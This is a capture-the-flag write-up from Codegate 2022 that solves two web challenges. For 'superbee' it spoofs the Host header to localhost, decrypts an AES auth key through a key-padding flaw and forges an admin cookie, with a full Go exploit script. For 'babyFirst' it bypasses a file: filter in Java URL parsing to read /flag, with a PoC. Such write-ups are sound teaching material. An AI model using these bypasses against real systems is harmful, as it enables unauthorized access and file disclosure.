[Codegate CTF 2022 Preliminary] write-ups

yoobi·2022년 5월 31일
0

Team : APT0
Rank : 32/141th

Web

superbee / 100pts

This chall was too hard for me, the web service made by golang was given.
I didn't have any idea of golang web service.

(1) Analysis

They have app.conf file and using that values on main function. Here is the FLAG's location, but it was REDEACTED.

app.conf

app_name = superbee
auth_key = [----------REDEACTED------------]
id = admin
password = [----------REDEACTED------------]
flag = [----------REDEACTED------------]
func main() {
	app_name, _ = web.AppConfig.String("app_name")
	auth_key, _ = web.AppConfig.String("auth_key")
	auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
	admin_id, _ = web.AppConfig.String("id")
	admin_pw, _ = web.AppConfig.String("password")
	flag, _ = web.AppConfig.String("flag")

	web.AutoRouter(&MainController{})
	web.AutoRouter(&LoginController{})
	web.AutoRouter(&AdminController{})
	web.Run()
}

They using "Controller" to controll web service, There was Main/Login/Admin and Base Controller. The Controller make /main/~, /login/~, /admin/~ service.

The key service is main/index

func (this *MainController) Index() {
	this.TplName = "index.html"
	this.Data["app_name"] = app_name
	this.Data["flag"] = flag
	this.Render()
}

Every controllers should passing the Basecontroller's Prepace() function.

func (this *BaseController) Prepare() {
	controllerName, _ := this.GetControllerAndAction()
	session := this.Ctx.GetCookie(Md5("sess"))

	if controllerName == "MainController" {
		if session == "" || session != Md5(admin_id + auth_key) {
			this.Redirect("/login/login", 403)
			return
		}
	} else if controllerName == "LoginController" {
		if session != "" {
			this.Ctx.SetCookie(Md5("sess"), "")
		}
	} else if controllerName == "AdminController" {
		domain := this.Ctx.Input.Domain()

		if domain != "localhost" {
			this.Abort("Not Local")
			return
		}
	}
}

If we want to access main/index we should set the cookie value as Md5("sess")=Md5(admin_id + auth_key);
The admin_id = "admin" according to app.conf but, we don't know auth_key value.

There is admin/authkey service, and this service make AesEncrypt value by auth_key & auth_crypt_key

func (this *AdminController) AuthKey() {
	encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
	this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

func AesEncrypt(origData, key []byte) ([]byte, error) {
	padded_key := Padding(key, 16)
	block, err := aes.NewCipher(padded_key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	origData = Padding(origData, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
	crypted := make([]byte, len(origData))
	blockMode.CryptBlocks(crypted, origData)
	return crypted, nil
}

func Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

(2) Exploit Ideas

Steps

1) We should bypass Admincontroller to get AesEncrypted value
2) decrypt that to get auth_key value
3) set Md5("sess")=Md5(admin_id + auth_key); to get FLAG

Step 1)

We can bypass domain filter by changing requests packet's host value 3.39.49.174:30001 -> localhost:30001

Step 2)

The key value is essential to using AesEncrypt, but this service made padded_key := Padding(key, 16) to solve this problem.

We can find the original AesEncrypt() function in GO security

https://github.com/chennqqi/goutils/blob/v0.1.6/security/aes.go

Checking the diffrences of original and chall's AesEncrypt().

// The Original
func AesEncrypt(origData, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	origData = PKCS7Padding(origData, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
	crypted := make([]byte, len(origData))
	blockMode.CryptBlocks(crypted, origData)
	return crypted, nil
}

// Given in chall
func AesEncrypt(origData, key []byte) ([]byte, error) {
	padded_key := Padding(key, 16) // padded_key
	block, err := aes.NewCipher(padded_key) // padded_key
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	origData = Padding(origData, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize]) // padded_key
	crypted := make([]byte, len(origData))
	blockMode.CryptBlocks(crypted, origData)
	return crypted, nil
}

They using padded_key instead of key value. Thus, we can find auth_key using AesDecrpyt() function using padded_key.

Step 3)

If we know auth_key, Step 3 is very simple set Md5("sess")=Md5(admin_id + auth_key); to get FLAG

(3) Exploit

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/md5"
	"encoding/hex"
	"fmt"
)

func Md5(s string) string {
	h := md5.New()
	h.Write([]byte(s))
	return hex.EncodeToString(h.Sum(nil))
}

func Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesEncrypt(origData, key []byte) ([]byte, error) {
	padded_key := Padding(key, 16)
	block, err := aes.NewCipher(padded_key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	origData = Padding(origData, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
	crypted := make([]byte, len(origData))
	blockMode.CryptBlocks(crypted, origData)
	return crypted, nil
}

func AesDecrypt(crypted, key []byte) ([]byte, error) {
    padded_key := Padding(key, 16)
	block, err := aes.NewCipher(padded_key)
	if err != nil {
		return nil, err
	}
	blockSize := block.BlockSize()
	blockMode := cipher.NewCBCDecrypter(block, padded_key[:blockSize])
	origData := make([]byte, len(crypted))
	blockMode.CryptBlocks(origData, crypted)
	origData = UnPadding(origData)
	return origData, nil
}

func AuthKey() {
	crypted, err := hex.DecodeString("00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607")
	if err != nil {
		fmt.Println()
	}
	decrypted_auth_key, _ := AesDecrypt(crypted, []byte(""))
	fmt.Println("# [byte]decrypted_auth_key :",decrypted_auth_key)
	fmt.Println("# decrypted_auth_key :",string(decrypted_auth_key[:]))
	admin_id := "admin"
	auth_key := string(decrypted_auth_key[:])
	
	encrypted_auth_key, _ := AesEncrypt(decrypted_auth_key, []byte(""))
	fmt.Println("# encrypted_auth_key :",hex.EncodeToString(encrypted_auth_key))
	fmt.Println()
	fmt.Println("######## Cookie ########")
	fmt.Print(Md5("sess"),"=",Md5(admin_id + auth_key),";")
}

func main() {
    AuthKey()
}


Set cookie and sending request

FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}

babyFirst / 718pt

[team mate solved]

This was JSP chall, more familiar than golang.

(1) Analysis

They have Memo service to write & read content.

There was XSS vuln, but the FLAG was saved in server as a txt file

Thus, i thought this is not a XSS chall.
When decompile MemoServlet.class using Java Decompiler, we can find the lookupImg().

private static String lookupImg(String memo) {
    Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
    Matcher matcher = pattern.matcher(memo);
    String img = "";
    if (matcher.find()) {
      img = matcher.group();
    } else {
      return "";
    } 
    String tmp = img.substring(1, img.length() - 1);
    tmp = tmp.trim().toLowerCase();
    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return ""; 
    String urlContent = "";
    try {
      URL url = new URL(tmp);
      BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
      String inputLine = "";
      while ((inputLine = in.readLine()) != null)
        urlContent = urlContent + inputLine + "\n"; 
      in.close();
    } catch (Exception e) {
      return "";
    } 
    Base64.Encoder encoder = Base64.getEncoder();
    try {
      String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
      memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
      return memo;
    } catch (Exception e) {
      return "";
    } 
  }

lookupImg() function help user to upload image file on memo service. And using !matcher.find() || matcher.group().startsWith("file") to ban file:/.

(2) Exploit Ideas

1) SQLi? -> prepareStatement(); -> NOP

https://www.hackedu.com/blog/how-to-prevent-sql-injection-vulnerabilities-how-prepared-statements-work

2) SSRF?File Download?

They using openStream() so we can think about SSRF.

https://find-sec-bugs.github.io/bugs.htm#URLCONNECTION_SSRF_FD

Then, we should bypass !matcher.find() || matcher.group().startsWith("file") to execute file:/flag.

First try) No

In url writing, we can bypass some front value by using @ letter. But, can not write : after the @ letter.

Second try) No

There are several protocols like dict:// sftp:// ldap:// gopher://. However, nothing helpful.

https://grooveshark.tistory.com/80

Third try) Yes

lookupImg(); doing URL url = new URL(tmp); after filtering and before openStream(). jdk version is 11 (according to the Dockfile given).

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.base/share/classes/java/net/URL.java

(3) Exploit

Simple PoC of URL()

import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.net.URL;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.util.Base64;

public class MyClass {
    public static void main(String args[]) {
        String memo = "[url:file:/flag]";
        Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
        System.out.println(pattern);
        //(\[[^\]]+\])
        Matcher matcher = pattern.matcher(memo);
        System.out.println(matcher);
        //java.util.regex.Matcher[pattern=(\[[^\]]+\]) region=0,30 lastmatch=]
        String img = "";
        String yoobi = "";
        if (matcher.find()) {
            img = matcher.group();
            
        }
        
        String tmp = img.substring(1, img.length() - 1);
        
        System.out.println(tmp);
        //http://3.39.72.134/memo/list
        
        tmp = tmp.trim().toLowerCase();
        System.out.println(tmp);
        //http://3.39.72.134/memo/list
        
        pattern = Pattern.compile("^[a-z]+:");
        System.out.println(pattern);
        //^[a-z]+:
        
        matcher = pattern.matcher(tmp);
        System.out.println(matcher);
        //java.util.regex.Matcher[pattern=^[a-z]+: region=0,28 lastmatch=]
        
        /*
        matcher.find();
        System.out.println(matcher.group());
        //http:
        */
        
        if (!matcher.find() || matcher.group().startsWith("file"))
        {
            System.out.println("OMG1");
            System.exit(1);
        }
        
        String urlContent = "";
        
        try {
            System.out.println("before URL(): " + tmp);
            //http://3.39.72.134/memo/list
            URL url = new URL(tmp);
            System.out.println("before URL(): " + url);
            
            urlContent = "ABCD";
            
        } catch (Exception e) {
            System.out.println(e);
            System.out.println("OMG2");
            System.exit(1);
        }
        Base64.Encoder encoder = Base64.getEncoder();
        try {
            String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
            memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
            System.out.println(memo);
            System.exit(1);
            
        } catch (Exception e) {
            System.out.println("OMG3");
            System.exit(1);
        } 
    }
}


We can get the FLAG by [url:file:/flag]



FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}

profile
this is yoobi

0개의 댓글